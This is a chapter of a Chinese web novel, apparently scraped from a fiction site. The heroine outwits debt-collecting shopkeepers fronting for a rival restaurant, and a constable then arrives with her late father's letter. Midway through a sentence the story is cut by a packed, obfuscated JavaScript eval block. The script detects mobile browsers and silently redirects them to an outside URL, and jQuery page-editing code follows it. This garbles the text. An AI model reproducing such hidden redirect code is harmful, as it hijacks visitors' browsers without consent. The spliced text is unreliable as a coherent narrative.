院子里站着7个人,一个肥头大耳,三个贼眉鼠眼,而他们身后是三个精壮仆人。
肥头大耳的那位看起来面善,一直在安抚另外几个人的情绪,看到平静出来后热情地迎上去。
热情地像是黄鼠狼给鸡拜年,这是平静看到那人时的第一想法。
肥头大耳上下打量平静,一脸担忧的样子:“平静侄儿,你可算出来了?看你面色苍白,可是身体不适?”
平静皱了皱眉,这人离他也太近了。
见状大福小跑过来插进两人之间,拉开两人之间的距离,小眼睛瞪得圆溜溜的,硬是把肥头大耳逼得倒退两步。
平静说:“多谢关心,我身体好得很。”
肥头大耳喜笑颜开:“那就好!前段时间我听闻平兄去世的消息,心中悲痛不已。奈何工作繁忙,一直未曾祭奠。想着今日终于得空来给平兄上柱香,好巧在半路遇到了前来讨债的李掌柜、王掌柜和林掌柜。我恐怕他们冲撞了侄儿,便想阻拦一番,但左右拦不住。哎,我真是愧对平兄啊!”
林掌柜轻哼一声,眼中精光一闪,抚着胡子呵斥:“马掌柜,用不着你在这儿充好人。欠债还钱天经地义,我们何错之有?”
被称为马掌柜的肥头大耳义正言辞:“平兄英魂未散你们就来要债,难道不是欺负平静侄儿这个弱女子吗?”
王掌柜笑道:“我们是过了头七才来,已经很给平清面子了。至于你马掌柜,要真是尊敬平兄,为何如今才来祭拜?”
马掌柜被气得面红耳赤,大袖一甩不说话了。
平静静观其变,看着这几个人吵架。她发现唯独距离她最远的李掌柜没说话,而是一直笑吟吟地打量她。
这种像看猎物一样的目光让平静非常不适。
王掌柜把目光转向大福身后的平静:“平静侄儿,你也别觉得伯伯们欺负你。只是你欠债不还,东家很不高兴。东家一不高兴,我们这些下面的人也就难过。所以,平静侄儿,您行个好,今儿就把钱还了吧,我们也好回去交差。”
林掌柜附和:“别叫我们为难,我们自然也不会为难你。”
平静在心里吐槽:“可我真的没钱啊。”
李掌柜突然说:“平静侄儿,我见你年纪不小还未婚配,又成了孤儿。倒不如由我这个长辈做主,让你嫁给我的小儿如何?之后我替你卖掉百味楼还债,保你一生衣食无忧。”
平静直呼好家伙,原来这老东西一直不吭声心里却打着这样的算盘。
然后还没等平静开口,宋姨居然从一旁气势汹汹地冲过来破口大骂:“你个不要脸的老东西!整个金水城谁家不知道你的小儿子成日吃喝嫖赌,年纪轻轻地就搞大了人家姑娘的肚子!因为作风败坏媒人见他就跑,你竟敢让我闺女嫁给这种渣滓!呸!你做梦去吧!”
李掌柜哪里见过这种泼妇,当即被气得老脸羞红,嘴里蹦不出来一个字。
谁知道王、林两个掌柜听后也觉得这个主意不错:“李掌柜说的也不失一种办法。平静侄儿,你身为一个女子本就不应该在外面抛头露面丢人现眼,不如就把百味楼卖了嫁人吧!”
平静觉得这是她听到过的最恶毒的话,因为说这话的人没把女人当人而是当成了生产工具。可她又无法反驳,因为她的辩论在这群思想未开化的人眼里是离经叛道的野火、是对牛弹琴的无用功。
宋姨听后气得跳脚,指着他们鼻子大骂:“我家闺女想干啥就干啥,谁也管不到她!轮得到你们这些臭男人说三道四指手画脚!”
林掌柜气得胡子都直了:“泼妇!”
宋姨叉腰挺胸骂回去:“你个老东西!”
林掌柜被气得说不出话来。
宋姨威武!
这时,平静想到了小传里说宋姨原名宋青青,她上头有两个哥哥,是家中幺女,自小被宠的性子泼辣。
今日一见,舌战群儒,名不虚传!
大福也崇拜地看着自己娘亲,狐假虎威地挺直胸膛。
气氛忽然变得焦灼,一旁的马掌柜突然凑过来说:“好侄儿,你不如就把卖掉百味楼吧。这样不仅能还债,还能获得一笔生活费。你从小金尊玉贵地长大,如何能吃得了没钱的苦?我手上倒是有一批闲钱,不如就把这百味楼卖给我如何?”
平静听后轻笑,这老狐狸的尾巴终于露出来了。
她从一开始就发现了,几个人合伙演戏唱红白脸,说是为了钱其实为的就是她手里的百味楼。
真是笑话,算盘珠子都崩她脸上了。百味楼不仅是平清一生的心血,也是她回家的唯一途径,就算是死也不可能给他们。
平静意识另一个问题,这些人要百味楼干什么?买回去自己经营吗?如果想要自己经营的话不可能结伴一起来。
俗话说敌人的敌人是朋友,一定是为了某种共同利益才让他们团结一致。
分析到这里,平静心中有数了。
平静说:“诸位掌柜,演的这么好不去戏台子上唱两句可惜了。”
闻言,马掌柜的脸色瞬间沉下来:“平静侄儿这是何言?”
平静捏着下巴思考,慵懒地左右踱步,边走边说:“让我猜一猜,你们背后的人是谁?嗯?鸿运楼的老板是吧?”
除了鸿运楼,平静想不到还有谁这么迫切地想要百味楼消失。
鸿运楼既然能让这几家店给他当马前卒,那背后的势力定然不小。可是平静既然能活着站在这里,也就说明鸿运楼再黑也不敢动她。
马掌柜他们几个面面相觑,显然是没想到眼前这个小姑娘会猜到这些。他们确实受鸿运楼所托收购百味楼,然后再转手卖给鸿运楼。
看到他们几个人的脸色后,平静觉得自己猜对了,应该从原主当初借钱开始就被做局了。
除非这人真善美,否则谁会把钱借给一个无依无靠的女子,而且她借的还是一笔不小的费用。他们当时想啊,这个柔弱的女人一定还不上钱,到时候给点压力就一定能让她交出百味楼。
可他们千算万算没算到他们遇到的是来自另一个世界的平静!她这几年的社畜可不是白当的,抗压能力杠杠的。
一听到鸿运楼的名字,宋姨就气得想上去干架,好在被大福给拉住了。
平静的脚步顿住,冷冷地看着他们说:“既然那么想要百味楼,那就让你们的主子亲自跟我谈,因为我听不懂狗话!”
几个掌柜面色愠怒,这个不知天高地厚的小丫头居然骂他们是狗!
平静的话撕掉了他们最后的伪装,几个人算是彻底撕破脸。
马掌柜示意后面的三个仆人动手,他狰狞地看着平静:“欠债还钱天经地义,既然你没钱还的话,那就别怪我们不客气了。都给我搬!能搬的全都搬走,搬不了的砸了!烧了!”
“你敢!”宋姨和大福冲上去拦住仆人。
场面一时非常混乱,其他三个掌柜作壁上观。
突然之间,马掌柜觉得自己后脖颈子拔凉拔凉的,原来竟是平静悄然躲到他身后并用发簪抵住了他的脖子。
平静悄声说:“马掌柜,你猜猜是我的手快,还是他们手快?你只是替人办事而已,咱不至于闹到鱼死网破吧”
这是平静做的最坏的打算,虽然说欠钱的她理亏,但是他们也不是好人。她光脚的不怕穿鞋的,就看谁能更豁得出去。
马掌柜是个软怂,当冰凉的簪子抵住他喉咙的时候就更怂了,怂得腿肚子打颤。
他颤抖着说:“平静姑奶奶啊,您说的对,有事好商量。我立刻让他们停下,您大发慈悲收起簪子吧。”
平静把簪子又刺进一分:“让他们收手!”
马掌柜的身体剧烈抖动,然后哭丧着大喊:“住手!都给我住手!”
闻言,那几个大汉包括几个掌柜都看过来,不过他们只能看到正面的马掌柜而看不到他身后的平静,所以自然不知道发生了什么。
宋姨还在疑惑平静去哪里了。
马掌柜欲哭无泪:“既然平静侄儿无钱可还,那我们,我们都回去罢!”
王掌柜不解:“老马你——”
“我看谁敢动平静!”突然之间,一声雄浑的怒吼从大门外传来,未见其人先闻其声。
大福惊喜地喊了一声:“爹!”
大福的爹?平静恍然大悟,那是金水城捕头李二!
平静立即离开马掌柜背后。脖子后面没了簪子抵着,马掌柜也因此大松了一口气。
所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466836|185485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有人闻声望去,只见一位身着青黑色捕快官服、腰间大挎金刀的雄壮男人稳步进来。来人戴着黑色官帽,冒着青色胡茬的脸颊看起来威严又冷厉。手中攥着刀把,一双鹰眼扫视一圈不怒自威。
“二哥?”马掌柜这口气还没舒得松快就又提到了嗓子眼。
李二精准地捕捉了马掌柜的表情:和其他人看到他后的震惊不同,他脸上的表情是难以置信,就好像笃定他一定不会出现却事与愿违的样子。
马掌柜讪笑:“二哥,您不是去外地出公差了,要下个月才能回来吗?”
李二一笑:“呦,官家的消息你到是灵通啊,不知是谁告诉你的?”
闻言,马掌柜的笑容僵在脸上,一副手足无措的样子:“没有,没有谁告诉我,就是吃酒时闲聊听到的.......”
“哦~进门前听说你们向平静要账,不知道作为平静二哥的我是否有资格听一听啊?”李二无视所有人跨坐在石凳上,眼睛像捕猎的老鹰一样死死地追着每个人。
就连平静,也差点被李二的强大气场给吓倒。这就是冷兵器时代的警察吗?霸气外露啊!
见状,狐假虎威的大福再次挺直了胸膛,神情倨傲的像只大公鸡。
有了自己男人撑腰,宋姨松了口气,笑骂道:“死东西,这个时候才回来!”
看到李二后,李掌柜倒是着急的很:“不要了,今天不要账了。平静侄儿,你什么时候有钱就什么时候还,我家中还有急事,先走一步。”
说着,李掌柜溜了。
马掌柜暗骂:“怂蛋!”
见如此,王、林两掌柜也作罢,朝李二抱拳,然后离开了。
来时约好同进退,结果现在只剩下了马掌柜和他的打手们。
李二瞪了一眼那三个打手,吓得他们噤若寒蝉。
马掌柜也想离开,但却被李二伸出的大长腿给拦住了,他只好转身,欲哭无泪地对平静说:“平静好侄儿,今日得罪了。您大人有大量,放小的离开吧!”
平静在心中暗骂这个墙头草,但面上义正言辞地说:“劳烦马掌柜回去告诉其他掌柜,平静欠的钱一定会还。”
马掌柜连忙点头,和他的打手们慌不迭地逃走了。
平静彻底松了一口气,悄悄藏起来手里的簪子,走到李二身边:“多谢二哥。”
李二叹了口气:“跟二哥客气啥。不过,你好像和之前不一样了。”
不愧是捕快,李二的眼睛真的太毒了,平静正准备解释却被李二打断。
“也是,经历了这么大的变故,肯定会变的。”李二自顾自地说。
宋姨看着风尘仆仆的男人问:“怎么提前回来了?”
李二撒娇道:“想媳妇儿了就回来了呗,难道媳妇儿不想我?”
宋姨老脸一红:“孩子都在呢,你正经儿点!”
平静:“......”这还是她刚才看到的猛汉吗?
李二解释说:“那边工作进行的很顺利,结束后我就申请回来了。”在他收到媳妇寄来的家书后,他就马不停蹄地赶回金水城,可是还是没有赶上平清的葬礼。
大福东瞅瞅西看看开心地问李二:“爹,你有没有给我带好玩儿的东西啊!”
“臭小子!”李二笑骂着,卸下背包递给大福,“自己找,仔细点,里面有给你娘亲和静儿姐买的胭脂。”
之后,李二站起来,表情庄重,眼眸里盛满了悲伤,他说:“小静,带我去给平大哥上柱香吧。”
宋姨叹了口气,眼角红了,对大福说:“我们回去做饭。”
大福和宋姨离开后,平静带李二去平家灵堂。
到了灵堂,李二点燃三柱香,朝着牌位拜三拜,然后把香插进香炉。最后他揉了一把脸,哽咽道:“我这辈子恐怕最遗憾的事就是没能送平大哥最后一程。”
平静看着李二静静地杵在那里。他望着灵牌出神,陷在悲伤的情绪里无法自拔。
过了一会儿,李二突然转身,从怀里掏出一个黄色信封递给平静,“这是你父亲生前留给我的,要我在他去世后亲手交给你。”
平静诧异地接过信,虽然不合时宜,但她还是想吐槽一下为什么这父女俩都爱写遗书啊!